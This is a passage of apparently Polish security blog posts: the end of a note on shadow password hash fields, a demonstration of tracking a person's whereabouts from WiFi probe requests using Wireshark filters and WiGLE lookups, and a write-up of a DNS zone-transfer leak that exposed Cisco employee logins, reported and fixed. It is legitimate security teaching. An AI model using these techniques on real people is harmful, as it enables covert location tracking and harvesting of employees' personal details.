Gdzie poszczególne człony rozdzielone są przez znak dolara. Cyfra 1 oznacza wykorzystanie MD5 (analogicznie 2 – Blowfish; 5 – SHA-256; 6 – SHA-512), następnie sól (qn9q54Bd) i hash hasła (5Io7epAfYclG1VwgquNqe0). Informacje te można zweryfikować przy pomocy przygotowanego przeze mnie skryptu shadow_parser.pl.

„Praktyczna analiza powłamaniowa. Aplikacja webowa w środowisku Linux”
Adam Ziaja, Wydawnictwo Naukowe PWN

Powyższy atak jak również inne techniki przedstawiłem w mojej książce, więcej informacji znajduje się pod adresem https://adamziaja.com/book/.

środa, 26 lipca 2017

Bezprzewodowy biały wywiad OSINT

Tematem bezprzewodowego białego wywiadu zacząłem zajmować się na poważnie już w 2010 roku przy okazji tworzenia pracy dyplomowej – http://wardriving.adamziaja.com. Informacje zebrane w trakcie wardrivingu mogą z powodzeniem być wykorzystywane do śledzenia użytkowników.

W celu demonstracji w trakcie jednej z branżowych konferencji uruchomiłem program do poglądu ruchu sieciowego (np. Wireshark, tcpdump itp), a następnie przefiltrowałem pakiety pod kątem WiFi probe request i znalazłem interesującą mnie sieci bezprzewodową (SSID). Pakiety probe request wysyłane są przez stację kliencką celem aktywnego wyszukania zapisanej w nim sieci WiFi.

wlan_mgt.ssid matches "(?i).*niebezpiecznik.*"

Program Wireshark.

Na podstawie filtrowania wyników ruchu sieciowego ustaliłem, że pakiety probe request, zawierające interesującą mnie nazwę sieci, są wysyłane przez jedno urządzenie. Dzięki pierwszej połowie adresu MAC udało mi się automatycznie ustalić, że jest to urządzenie firmy Apple.

Kolejnym krokiem było przeszukanie zebranych pakietów pod kątem tego danego urządzenia oraz jakie inne sieci WiFi próbuje wyszukiwać przy pomocy probe request.

wlan.sa == 00:26:08:b6:0b:a8 and
wlan.fc.type_subtype == 4
(probe request)


Dzięki tylko znalezionym nazwom byłem w stanie z dużym prawdopodobieństwem ustalić miejsca, w których był posiadacz danego urządzenia.


Możemy również wykorzystać dane pochodzące ze strony WiGLE, do tego celu stworzyłem skrypt wigle.py.


Zwraca on na podstawie SSID pozycje GPS, pod która została znaleziona dana nazwa sieci, im nazwa jest bardziej unikalna tym większe prawdopodobieństwo znalezienia konkretnej sieci.

Pozycję GPS możemy zamienić dodatkowo na konkretny adres przy pomocy danych z Google Maps, w tym celu stworzyłem skrypt revgeocode.py.


Dla ułatwienia napisałem również skrypt probe.py parsujący plik PCAP i wyciągający z niego informacje o probe request (SSID oraz MAC klienta).


Na koniec napisałem również skrypty pomocnicze, pozwalające ostatecznie na automatyczne parsowanie plików PCAP oraz prezentację wyników w formacie HTML.


wtorek, 25 lipca 2017

AXFR eksport strefy DNS

Przez wiele osób eksport strefy DNS (AXFR) uważany jest za błahostkę – nic bardziej mylnego. Zawartość strefy może dostarczyć atakującemu dużo informacji. Bardzo często informacje te pozwalają na poznanie loginów użytkowników, topologii sieci, lokalizacji paneli administracyjnych, serwerów deweloperskich czy wykorzystywanego sprzętu. Informacje te naturalnie dodatkowo mogą być wykorzystane w kolejnych krokach. Przykładowo eksport strefy DNS cisco.com pozwalał na ustalenie loginów pracowników:

Pozyskane w ten sposób informacje możliwe były do wykorzystania na forum wsparcia:

ams-rawouter-vpn.cisco.com

https://supportforums.cisco.com/people/rawouter



Tym sposobem można było pozyskać szczegółowe informację o pracownikach firmy. Jednocześnie nie było możliwości np. pozyskania tych danych poprzez wyszukiwarkę Google, ze względu na instrukcje znajdujące się w pliku robots.txt:

https://supportforums.cisco.com/robots.txt

User-agent: *
disallow: /people/


Przy pomocy prostego skryptu istniała możliwość zbudowania listy pracowników zawierającej login, imię i nazwisko oraz zajmowane stanowisko:

Błąd ten został zgłoszony firmie Cisco i poprawiony na długo przed publikacją.